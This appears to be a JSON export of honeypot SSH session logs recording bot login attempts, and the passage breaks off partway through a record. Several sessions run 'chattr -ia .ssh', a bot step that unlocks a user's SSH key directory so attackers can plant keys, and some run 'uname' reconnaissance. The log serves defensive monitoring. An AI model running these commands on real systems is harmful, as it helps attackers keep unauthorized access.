[
 {
  "id": "04f65c78-55dc-4484-8b07-dd066e41e55d",
  "name": "rustic-keen-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 48124,
  "username": "ec2-user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:13:59.781508+00:00",
  "ended_at": "2026-08-27T14:14:01.245874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7732c056-e9e8-4539-bd0c-2af5743af206",
  "name": "salty-pristine-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 57248,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:41.777966+00:00",
  "ended_at": "2026-08-27T14:12:43.359116+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "245e4254-272f-4e48-b2f7-9bfd12c7c35e",
  "name": "shaded-dappled-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46978,
  "username": "aramos",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:29.344092+00:00",
  "ended_at": "2026-08-27T14:12:31.174261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3befec44-8642-42da-9517-120101b9713d",
  "name": "gallant-inland-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 45062,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:27.080570+00:00",
  "ended_at": "2026-08-27T14:12:28.662465+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70788d7c-7690-4083-b142-169b7c65d3e7",
  "name": "wistful-sturdy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 43914,
  "username": "aramos",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:12:25.579849+00:00",
  "ended_at": "2026-08-27T14:12:25.822427+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "7995eea3-4deb-4605-ba18-e47acca02a60",
  "name": "solar-vernal-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 50244,
  "username": "cinema",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:03.718014+00:00",
  "ended_at": "2026-08-27T14:12:05.833940+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e9a7dc8-51fc-47a2-ba61-36def624c053",
  "name": "sincere-amber-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 49276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:12:00.323844+00:00",
  "ended_at": "2026-08-27T14:12:02.062323+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2ce59e4d-a72d-4998-a788-e62a05b736c2",
  "name": "daring-clever-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 48470,
  "username": "cinema",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:11:57.835359+00:00",
  "ended_at": "2026-08-27T14:11:58.402131+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "caad3063-71f0-4aa4-a204-a303280c73fc",
  "name": "kindly-languid-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 42692,
  "username": "gaurav",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:11:01.271146+00:00",
  "ended_at": "2026-08-27T14:11:02.428101+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da1e334f-4e6d-49af-93f4-46a61cd3e1fb",
  "name": "painted-sturdy-marmot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 41584,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:10:58.986465+00:00",
  "ended_at": "2026-08-27T14:11:00.150895+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1089136-2730-4f07-9986-cc03bc0912c5",
  "name": "spirited-dusty-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 39608,
  "username": "gaurav",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:10:57.941574+00:00",
  "ended_at": "2026-08-27T14:10:58.175769+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "22cc1660-be2b-455a-b982-c6b5b70e2261",
  "name": "arctic-bashful-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 52550,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 825,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:10:39.045870+00:00",
  "ended_at": "2026-08-27T14:10:39.311875+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2275
 },
 {
  "id": "3494d97d-d16f-49b7-924f-fa901893d078",
  "name": "sunlit-candid-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 54332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:10:25.391999+00:00",
  "ended_at": "2026-08-27T14:10:26.330164+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67773243-660b-401e-834b-bf0970e3c800",
  "name": "smoky-clever-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 53566,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:10:22.515076+00:00",
  "ended_at": "2026-08-27T14:10:23.732770+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69acb35c-5eec-45a4-a769-f061bd9602af",
  "name": "bashful-plush-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 48024,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:09:35.554288+00:00",
  "ended_at": "2026-08-27T14:09:37.298708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7ca4d5b-c706-42b4-8285-8ff5ed7bd7b4",
  "name": "obsidian-hushed-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46294,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:09:32.842732+00:00",
  "ended_at": "2026-08-27T14:09:34.709217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5fa2b8c6-1474-40f1-a39d-5ced056d7ac6",
  "name": "amiable-sunlit-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 45196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:09:31.509206+00:00",
  "ended_at": "2026-08-27T14:09:32.024652+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "57d518f6-4d05-4318-bbc2-e3c64fb8be89",
  "name": "orderly-balmy-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 58238,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:37.498856+00:00",
  "ended_at": "2026-08-27T14:08:39.555464+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "92496fe8-4106-4b57-a603-bde97cb3dcb7",
  "name": "orderly-inland-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 57408,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:33.873579+00:00",
  "ended_at": "2026-08-27T14:08:35.828830+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4b1c0f1-cb02-4fa5-b810-1851c4a84015",
  "name": "leafy-tender-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 56614,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:08:31.398471+00:00",
  "ended_at": "2026-08-27T14:08:31.962801+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "84ed0575-0834-42d1-bf43-d54b60c35f89",
  "name": "shifting-marine-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 54123,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:30.592540+00:00",
  "ended_at": "2026-08-27T14:08:31.561508+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eb3d0d96-73d7-4fb7-a1a4-f3e48cc76cd1",
  "name": "lawful-downy-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 57190,
  "username": "car",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:08.324755+00:00",
  "ended_at": "2026-08-27T14:08:09.506549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dcd776e8-f4e6-45ac-afae-89ff8a6aab45",
  "name": "fearless-austere-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 56002,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:08:05.810430+00:00",
  "ended_at": "2026-08-27T14:08:07.673594+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "109f6956-90a6-4154-a028-f74308f3eba6",
  "name": "painted-ivory-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 54906,
  "username": "car",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:08:04.713919+00:00",
  "ended_at": "2026-08-27T14:08:05.060513+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "939cf713-b32a-49de-a304-c10486850a62",
  "name": "gilded-watchful-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 60678,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:06:37.873392+00:00",
  "ended_at": "2026-08-27T14:06:39.590700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f725449-870c-43f5-8dcf-f8f64836dcb9",
  "name": "lunar-flinty-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 35686,
  "username": "wireguard",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:06:33.153857+00:00",
  "ended_at": "2026-08-27T14:06:34.994225+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "05daf878-1592-47e4-9aa9-45aad80a0412",
  "name": "thrifty-twilight-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 52154,
  "username": "lthpc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 216,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T14:06:24.781358+00:00",
  "ended_at": "2026-08-27T14:06:24.886710+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "36eb2f83-d720-4fbf-88e8-b2b2bb86d121",
  "name": "barren-twilight-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 44744,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 337,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:05:39.875588+00:00",
  "ended_at": "2026-08-27T14:05:41.771555+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2184
 },
 {
  "id": "0df1f6c7-9098-4009-9dbe-b63024e6c927",
  "name": "crimson-crisp-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 36516,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 830,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:05:31.611089+00:00",
  "ended_at": "2026-08-27T14:05:33.842343+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2193
 },
 {
  "id": "dc68e0c3-652b-43fb-b934-294a23d422de",
  "name": "umber-sincere-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 47006,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:05:13.214127+00:00",
  "ended_at": "2026-08-27T14:05:14.904915+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea3ccae7-1ea8-4cbd-bc73-b1a25be5429e",
  "name": "tawny-painted-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 46042,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:05:11.577499+00:00",
  "ended_at": "2026-08-27T14:05:12.547611+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7bf5d70-b7f4-4600-af85-0c95331b7225",
  "name": "wistful-meadow-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 38238,
  "username": "mailuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:04:55.553476+00:00",
  "ended_at": "2026-08-27T14:04:56.651194+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f5ebbd9-ecae-42e4-99c5-1eac9eb9d5e3",
  "name": "gallant-weathered-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 37424,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:04:52.408117+00:00",
  "ended_at": "2026-08-27T14:04:53.892016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "523fdf1f-cd18-4578-bb06-808128e94259",
  "name": "dutiful-crystal-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 53042,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:04:09.869400+00:00",
  "ended_at": "2026-08-27T14:04:11.405987+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2160
 },
 {
  "id": "0583a9ed-0c6c-46a0-b7da-a070a9a60675",
  "name": "earnest-vivid-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 55208,
  "username": "steam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:03:44.871447+00:00",
  "ended_at": "2026-08-27T14:03:45.692444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93b65c5b-a964-4e8f-9f66-274d26b33beb",
  "name": "bashful-snowy-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 54100,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:03:42.681542+00:00",
  "ended_at": "2026-08-27T14:03:43.864854+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "948ef0ae-b1a8-469a-a716-6947083055e0",
  "name": "hidden-courtly-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 40586,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 829,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:03:41.618952+00:00",
  "ended_at": "2026-08-27T14:03:44.018826+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2170
 },
 {
  "id": "519f44ca-dec4-40cb-b4d2-6088121996a4",
  "name": "vaulted-shaded-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 42164,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:03:06.885137+00:00",
  "ended_at": "2026-08-27T14:03:08.299418+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "486eac9f-e731-4601-a83b-7186dbc6262f",
  "name": "amiable-misty-wagtail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 41376,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:03:03.659499+00:00",
  "ended_at": "2026-08-27T14:03:05.222555+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbd9d629-1181-45cc-9e07-b48f4a6c2a10",
  "name": "obsidian-quiet-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 51506,
  "username": "lthpc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T14:02:50.824771+00:00",
  "ended_at": "2026-08-27T14:02:50.940092+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "f1c9ad32-fb86-4909-9414-08f61e3f05cf",
  "name": "gnarled-airy-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 46340,
  "username": "it",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 419,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:02:44.546918+00:00",
  "ended_at": "2026-08-27T14:02:45.955061+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2142
 },
 {
  "id": "3c9bcb56-c7c4-4786-956e-6e92475e8e05",
  "name": "gallant-vaulted-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 50144,
  "username": "it",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:02:16.661533+00:00",
  "ended_at": "2026-08-27T14:02:18.500506+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ee7ef333-fa79-4f86-bdaf-52e72a0f74ca",
  "name": "sooty-crystal-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 47998,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:02:14.109436+00:00",
  "ended_at": "2026-08-27T14:02:15.937783+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03e09488-6fbd-4a58-a7e6-9d802ca8d780",
  "name": "gloomy-weathered-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.4.145.50",
  "src_port": 44650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 834,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:01:51.154232+00:00",
  "ended_at": "2026-08-27T14:01:53.311292+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "8f575f38-1c0c-405e-bc09-2d3796d4b053",
  "name": "keen-early-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 46450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:01:17.099660+00:00",
  "ended_at": "2026-08-27T14:01:19.264142+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c12e9bc0-cbaa-4686-a697-4c26fcb9787e",
  "name": "crimson-ivory-agouti",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.4.145.50",
  "src_port": 45610,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:01:13.856702+00:00",
  "ended_at": "2026-08-27T14:01:15.449411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "db998d05-b649-442a-afe5-6fae9b692980",
  "name": "dewy-amber-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "201.249.166.171",
  "src_port": 54580,
  "username": "zjsf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 336,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T14:01:07.505547+00:00",
  "ended_at": "2026-08-27T14:01:08.951013+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2137
 },
 {
  "id": "27efbe08-c462-442a-a2ba-f37c77db7e22",
  "name": "meadow-canny-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 57834,
  "username": "zjsf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:00:41.667661+00:00",
  "ended_at": "2026-08-27T14:00:42.527235+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "454ec9eb-d30e-46ec-a9ff-a23a131eab91",
  "name": "painted-granite-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "201.249.166.171",
  "src_port": 56374,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T14:00:39.885497+00:00",
  "ended_at": "2026-08-27T14:00:40.969663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f76a8500-8dba-481b-bb0e-ddca5478f49a",
  "name": "arctic-painted-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
